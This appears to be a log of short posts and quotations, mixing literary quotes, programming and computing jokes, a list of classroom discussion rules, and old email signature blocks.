with the people we used to be, whether we find them attractive company or not. Otherwise they turn up unannounced and surprise us, come hammering on the mind's door at 4 am of a bad night and demand to know who deserted them, who betrayed them, who is going to make amends. We forget all too soon the things we thought we could never forget. Joan Didion -- "If you haven't done anything wrong, what do you have to hide?" "If I knew what I had to hide, I certainly would. Since I don't, I need my privacy." Practice Acting Kind of Random. Beauty, eh? taralee>>> (21:41) What has four legs and an arm? A happy pit bull. Suggestion: This is from a poster here at BellSouth. At the bottom it says, "From _Managing_the_Social_&_Emotional_Needs_of_the_Gifted_, Free Spirit Publishing, Copyright (C) 1985 ..." 1) There are no dumb questions and no dumb answers. 2) None of us is perfect. 3) This is the place to bomb out and take risks. 4) It's ok to say, "I don't know." 5) You have the right not to participate in a discussion. 6) Keep asking until you really understand. 7) If you don't agree, say so, and explain your thoughts. 8) Teasing, put-downs and sarcasm are not allowed. 9) Don't critisize people -- agree or disagree with their ideas. 10) It's good to have a mind of your own. (nt)sgw[NOAUTH]>>> (15:02) stephen g. wadlow SMB has holes big enough that you could drive a sendmail through them. "Bother," said Pooh, "Eeyore, ready two photon torpedoes and lock phasers on the Heffalump, Piglet, meet me in transporter room three" +-->Filip "I'll buy a vowel" Gieszczykiewicz | E-mail: filipg@paranoia.com -- Mathias Koerber | Tel: +65 / 471 9820 | mathias@staff.singnet.com.sg SingNet NOC | Fax: +65 / 475 3273 | mathias@koerber.org Q'town Tel. Exch. | PGP: Keyid: 768/25E082BD finger mathias@singnet.com.sg 2 Stirling Rd | 1A 8B FC D4 93 F1 9A FC BD 98 A3 1A 0E 73 01 65 S'pore 148943 | Disclaimer: I speak only for myself When anyone asks me how I can best describe my experience in nearly forty years at sea, I merely say, uneventful. Of course there have been winter gales, and storms and fog and the like. But in all my experience, I have never been in any accident... or any sort worth speaking about. I have seen but one vessel in distress in all my years at sea. I never saw a wreck and never have been wrecked nor was I ever in any predicament that threatened to end in disaster of any sort. E. J. Smith, 1907 Captain, RMS Titanic --- Honorary agent -- Bureau of Beer, Cigarettes, and Fire (beavis and butthead do america, via djablon@grey17.org) (souls)mhbraun>>> (00:58) Back when FORTRAN wasn't even TWOTRAN Plug-and-Play is really nice, unfortunately it only works 50% of the time. To be specific the "Plug" almost always works. --unknown source "I like my lemonade the way I like my women -- strong enough to make my eyelids twitch." -- nocturne, inspired by some real lemonade [eichin:19990220T1511-05] (help)anto>>> (19:11) A comathematician is a device for turning theorems into coffee (white-magic)chope>>> (10:42) The ex-Harvard Spy "I'm disappointed too, but keep in mind that transmogrification is a new technology." [CALVIN AND HOBBES] "Over 50,000 lines of code, you probably should be programming in Ada." -- P.J. Plaugher, Chair of the ANSI C Committee amu zsig: Someday, we'll look back on this, laugh nervously, and change the subject. [](class-quotes)xela>>> (21:35) Money is the sincerest of all flattery. ---@i(RAH) From Randal Schwartz: "You may have noticed that I'm using a powerbook for the slides. The reason for that is that I refuse to use anything with an Intel chip..... The people who aren't chudkling can ask the ones who are why."